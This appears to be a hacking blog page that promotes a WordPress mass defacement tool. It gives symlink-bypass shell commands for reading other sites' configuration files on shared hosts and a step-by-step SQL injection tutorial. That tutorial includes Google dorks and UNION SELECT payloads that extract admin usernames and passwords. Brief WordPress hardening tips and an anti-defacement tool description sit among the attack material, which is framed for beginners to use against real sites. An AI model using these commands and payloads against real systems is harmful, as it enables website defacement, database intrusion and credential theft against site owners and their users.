Showing posts with label Website Hacking. Show all posts

Wordpress Mass Defacement Tool

Wordpress as being one the widely used CMS platform is one the favorite
target of hackers now a days along with WHMCS, Instead of directly
targeting wordpress fucntionalities and vulnerable plugins, it has been
observed that the hackers are targeting a vulnerable website on the same
server and using it they are able to bypass server restrictions in
order to get the configuration file and hence hacking in to the
wordpress. This method is commonly known as Symlink Bypassing in Black Hat World and server bypassing in White hat community.

Now it's a difficult task for an attacker to manually
connect to the database and then manually replace the index file of
worpdress for a successful defacement. Therefore hackers use Mass
defacers. These are tools used by hackers to change the index files of
all the websites present on the server with their own defacement page,
This usually happens when the hacker has root level access on the
server.

Recently, The admin of Team Root "Mauritania Attacker" mailed me
his tool for the review, Which can be used by attackers to deface all
the wordpress websites present on the same server.

How Does It Work?

For this tool to work the only requirement would be that the server is
vulnerable to symlink bypass, This tool will automatically symlink all
the wordpress websites on the server and replace their indexes with the
page you will provide (.html or .PHP).

How To Use It?

The usage is extremely simple and i really don't see purpose of creating
a tutorial, however this blog is mostly read by newbies, So I will add
some screen shots.

Requirements

1. Shell On The Server
2. The shell should not be secured from Symlink Bypassing.
3. Wordpress Mass Defacement Tool

Once you have completed all the above requirements, Just upload the Mass
Defacement tool to the webserver, it will look some thing like this,
Now replace the contents of index url with your own defacement page.

Next you will see the results for the websites, yo have been able to deface:

And finally you can view the list of all the websites, you were able to deface:

How To Protect Your Self?

In order to protect your website from being defaced, All you need to do
is to change the permissions of your index files to 400. So no one will
be able to change them, however if an attacker has root level access on
the server, there is no way of protecting your website, since the
attacker can manually change the permissions.

How Hackers Are Hacking Into Websites On Shared Hosts - Symlink Bypass Explained

You
might have noticed a tremendous increase number of hack attacks on
wordpress, joomla blogs and other content managing systems. What the
hackers are doing is that instead of targeting the CMS itself meaning
wordpress or joomla. They are targeting a vulnerable website on a
server, Once they gain access to a single vulnerable website on the
server, They upload a shell and with a method called "Symlink Bypass". They
manage to extract the configuration files of another website hosted on
that same server and later on using a simple MySQL interface they
connect to that website.

What Is Symlink Bypass?

Well, I would not like to go into much detail. However for your
understanding all you need to know is that symlink is a method to
refrence other files and folders on linux. Just like a shortcut in
windows. Symlink is necessary in order to make linux work faster.
However symlink bypassing is a method which is used to access folders on
a server which the user isn't permitted. For example the home directory
can only be accessed by a root level user. However with symlink bypass
you can touch files inside home directory.

Step 1 - The hackers searches for a vunerable website on a
server. A hacker can get list of domains on a webserver by doing a
reverse iP lookup.

Step 2 - Next the hacker hacks into any vulnerable website on the server and upload a PHP shell.

Step 3 - The above picture demonstrates two files one named
.htacess and the second named jaugar.izri being uploaded to the server.
Here is what Jaugar.izri looks like when it's made public by adding 0755
permissions.

Step 4 - The hacker connects to the izri script and then gives the following commands

mkdir 1111
cd 1111
ln -s / root
ls -la /etc/valiases/(site.com)

The
first command creates a directory named 1111(Mkdir 1111). The next
command navigates to the directory(cd 1111). The third command creates
the symlink of the root. The fourth command will extract the user name
of the website you put in place of site.com.

The target website is entered in ls - la /etc/valiases/site.com.

The
above screenshot explains the whole story. The hacker then navigates to
the "1111" directory and the configuration file of the target website
is created there. The hacker downloads the configuration files and uses
the information to access the database and there he can make any
changes.

How To Be Protected?

There is nothing much you can do it on your end, else then renaming your
config and moving it to a safer place. If you are worried about your
website's security, Feel free to contact me.

How To Secure Your Wordpress Blogs?

After a long time i am going to show you how to secure Wordpress blogs from haclers. Hackers are the person like you and us but the only difference is that
they use their skills for the negative and destructive purposes, they
use their skills to break a website, they normally destroy all the
stuff's, so if you are a admin of a website you should care about the
security of the website.
As you know that the wordpress is a common and most popular plate form
for blogging, but the security of the wordpress is always a hot
discussion and it need more and more concentration because vulnerability
discover everyday. Below are some tips to make your blog secure:

Secure WP-Admin By IP

Let suppose if someone can get the ability(username & Password) to
enter into your website WP section, you can restrict this area by your
IP. It prevent brute forcing attack and only you can able to control on
your website because of IP restriction.

Order deny,allow
Deny from All
Allow from 123.456.789.0
You can allow and deny IP's from a range use this:
order deny,allow deny from all # allow my home IP address allow from
XX.XX.XXX.XXX # allow my work IP address allow from XX.XX.XXX.XXX

Protect WP-Config.php File

WP-Config.php file has a great importance on wordpress plate form, it
need more care and usually an attacker get the required information
about the database of your website from WP-Config file. Basically if you
use a strong database user-name and password while your WP-Config
security is low than an attacker can get your strong user-name and
password from wp-config file, because it contain all the information
about the security and other things of your website.

Access .htaccess file is located at the root your WordPress installation open it and paste the following code.

order allow,deny
deny from all

Hide WordPress Version Number

You must hide the version of your wordpress because an attacker may find
the available exploit by searching it on different exploit database by
version number and it may cause a great harm for your blog so be care
about it.

This tag is in the header.php file that displays your current version of wordpress

Copy and paste the code in the functions.php file of your theme and than you are done.

remove_action('wp_head', 'wp_generator');

Remove Error Message From Login Screen

This is your clever move to remove the error message that an attacker
would not able to see if the user-name and password incorrect, update
your function.php by this code.

add_filter('login_errors',create_function('$a', \"return null;\"));

Some Other Security Tips

Use your mind because mind is an essential part to secure yourself on the jungle of web.

Create strong passwords that are not easily be guess or crack.

Secure your own side(your computer) from different malware.

Make regular backup of your blog.

Update your wordpress to latest version

Use SSH instead of FTP

Avoid using your account on public places

You must be ware on different attacks to secure yourself.

Hacking website using SQL Injection -step by step guide

Before we see what SQL Injection is. We should know what SQL and Database are.

Database:
Database is collection of data. In website point of view, database is
used for storing user ids,passwords,web page details and more.

Some List of Database are:

* DB servers,
* MySQL(Open source),
* MSSQL,
* MS-ACCESS,
* Oracle,
* Postgre SQL(open source),
* SQLite,

SQL:
Structured Query Language is Known as SQL. In order to communicate
with the Database ,we are using SQL query. We are querying the database
so it is called as Query language.

Definition from Complete reference:

SQL is a tool for organizing, managing, and retrieving data stored by a computer
database. The name "SQL" is an abbreviation for Structured Query Language. For
historical reasons, SQL is usually pronounced "sequel," but the alternate pronunciation
"S.Q.L." is also used. As the name implies, SQL is a computer language that you use to
interact with a database. In fact, SQL works with one specific type of database, called a
relational database.

Simple Basic Queries for SQL:

Select * from table_name :
this statement is used for showing the content of tables including column name.
For eg:
select * from users;

Insert into table_name(column_names,...) values(corresponding values for columns):
For inserting data to table.
For eg:
insert into users(username,userid) values("BreakTheSec","break");

I will give more detail and query in my next thread about the SQL QUERY.

What is SQL Injection?
SQL injection is Common and famous method of hacking at present .
Using this method an unauthorized person can access the database of
the website. Attacker can get all details from the Database.

What an attacker can do?

* ByPassing Logins
* Accessing secret data
* Modifying contents of website
* Shutting down the My SQL server

Now let's dive into the real procedure for the SQL Injection.
Follow my steps.

Step 1: Finding Vulnerable Website:
Our best partner for SQL injection is Google. We can find the
Vulnerable websites(hackable websites) using Google Dork list. google
dork is searching for vulnerable websites using the google searching
tricks. There is lot of tricks to search in google. But we are going
to use "inurl:" command for finding the vulnerable websites.

Some Examples:
inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:pageid=

Here is the huge list of Google Dork
Click Here To Donwload

How to use?
copy one of the above command and paste in the google search engine box.
Hit enter.
You can get list of web sites.
We have to visit the websites one by one for checking the vulnerability.
So Start from the first website.

Note:if you like to hack particular website,then try this:
site:www.victimsite.com dork_list_commands
for eg:

site:www.victimsite.com inurl:index.php?id=

Step 2: Checking the Vulnerability:
Now we should check the vulnerability of websites. In order to check
the vulnerability ,add the single quotes(') at the end of the url and
hit enter. (No space between the number and single quotes)

For eg:

http://www.victimsite.com/index.php?id=2'

If the page remains in same page or showing that page not found or showing some other webpages. Then it is not vulnerable.

If it showing any errors which is related to sql query,then it is vulnerable. Cheers..!!
For eg:

You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near '\'' at line 1

Step 3: Finding Number of columns:
Now we have found the website is vulnerable. Next step is to find the number of columns in the table.
For that replace the single quotes(') with "order by n" statement.(leave one space between number and order by n statement)

Change the n from 1,2,3,4,,5,6,...n. Until you get the error like "unknown column ".

For eg:

http://www.victimsite.com/index.php?id=2 order by 1
http://www.victimsite.com/index.php?id=2 order by 2
http://www.victimsite.com/index.php?id=2 order by 3
http://www.victimsite.com/index.php?id=2 order by 4

change the number until you get the error as "unknown column"

if you get the error while trying the "x"th number,then no of column is "x-1".

I mean:

http://www.victimsite.com/index.php?id=2 order by 1(noerror) http://www.victimsite.com/index.php?id=2 order by 2(noerror) http://www.victimsite.com/index.php?id=2 order by 3(noerror) http://www.victimsite.com/index.php?id=2 order by 4(noerror) http://www.victimsite.com/index.php?id=2 order by 5(noerror) http://www.victimsite.com/index.php?id=2 order by 6(noerror) http://www.victimsite.com/index.php?id=2 order by 7(noerror) http://www.victimsite.com/index.php?id=2 order by 8(error)

so now x=8 , The number of column is x-1 i.e, 7.

Sometime the above may not work. At the time add the "--" at the end of the statement.
For eg:

http://www.victimsite.com/index.php?id=2 order by 1--

Step 4: Displaying the Vulnerable columns:
Using "union select columns_sequence"
we can find the vulnerable part of the table. Replace the "order by
n" with this statement. And change the id value to negative(i mean
id=-2,must change,but in some website may work without changing).

Replace the columns_sequence with the no from 1 to x-1(number of columns) separated with commas(,).

For eg:
if the number of columns is 7 ,then the query is as follow:

http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--

If the above method is not working then try this:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7--

It will show some numbers in the page(it must be less than 'x' value, i mean less than or equl to number of columns).

Like this:

Now select 1 number.
It showing 3,7. Let's take the Number 3.

Step 5: Finding version,database,user
Now replace the 3 from the query with "version()"

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7--

It will show the version as 5.0.1 or 4.3. something like this.

Replace the version() with database() and user() for finding the database,user respectively.

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7--

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7--

If the above is not working,then try this:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7--

Step 6: Finding the Table Name
if the version is 5 or above. Then follow these steps. Now we have to
find the table name of the database. Replace the 3 with
"group_concat(table_name) and add the "from information_schema.tables
where table_schema=database()"

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--

Now it will show the list of table names. Find the table name which is related with the admin or user.

Now select the "admin " table.

if the version is 4 or some others, you have to guess the table names.
(user, tbluser). It is hard and bore to do sql inection with version 4.

Step 7: Finding the Column Name

Now replace the "group_concat(table_name) with the "group_concat(column_name)"

Replace the "from information_schema.tables where
table_schema=database()--" with "FROM information_schema.columns WHERE
table_name=mysqlchar--

Now listen carefully ,we have to find convert the table name to MySql CHAR() string and replace mysqlchar with that .

Find MysqlChar() for Tablename:
First of all install the HackBar addon:
https://addons.mozilla.org/en-US/firefox/addon/3899/
Now
select sql->Mysql->MysqlChar()

This will open the small window ,enter the table name which you found. i am going to use the admin table name.

click ok

Now you can see the CHAR(numbers separated with commans) in the Hack toolbar.

Copy and paste the code at the end of the url instead of the "mysqlchar"
For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union
select 1,2,group_concat(column_name),4,5,6,7 from
information_schema.columns where table_name=CHAR(97, 100, 109, 105,
110)--

Now it will show the list of columns.
like
admin,password,admin_id,admin_name,admin_password,active,id,admin_name,admin_pas
?
s,admin_id,admin_name,admin_password,ID_admin,admin_username,username,password..etc..

Now replace the replace group_concat(column_name) with group_concat(columnname,0x3a,anothercolumnname).

Columnname should be replaced from the listed column name.
anothercolumnname should be replace from the listed column name.

Now replace the " from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)" with the "from table_name"

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin--

Sometime it will show the column is not found.
Then try another column names

Now it will Username and passwords.

Enjoy..!!cheers..!!

If the website has members then jock-bot for you. You will have the list of usernames and password.
Some time you may have the email ids also,enjoy you got the Dock which can produce the golden eggs.

Step 8: Finding the Admin Panel:
Just try with url like:

http://www.victimsite.com/admin.php http://www.victimsite.com/admin/ http://www.victimsite.com/admin.html http://www.victimsite.com:2082/

etc.
If you have luck ,you will find the admin page using above urls. or try this list .
Here is the list of admin urls:
Download

Protect A Website From Being Defaced Or Hacked

A website defacement occurs when the hacker changes the
visual appearance of a website, usually replaces the website's
index.html file with his own file, which may contain the hacker's
message or any thing related to it.

There are many techniques that can be used to deface a website, However
one of the most common technique used for defacement is simple SQL Injection,
which allows the hacker to gain administrative
access to the website.
Some times the hacker may manage to gain root access to the webserver
and therefore may cause a Mass defacement, replacing the index
files of all the website available on that particular servers. This may
be difficult when done manually, however there are many scripts that
automatically do it.

If you are a webmaster and looking forward to protect your website from
being defaced or hacked you are in the right place. AntiDef is a tool
written in java, specially designed for the purpose of protecting a
website from being defaced or hacked. The usage is quite simple, all
the server manager should do is to run this application with the
following parameters:

Path to the copy of the website(source).

Path to the application directory.

Path to log directory.

How Does This Tool Work?

The tool compares the source and the destination files, if they are
found to be different it replaces the files with the backup or original
files.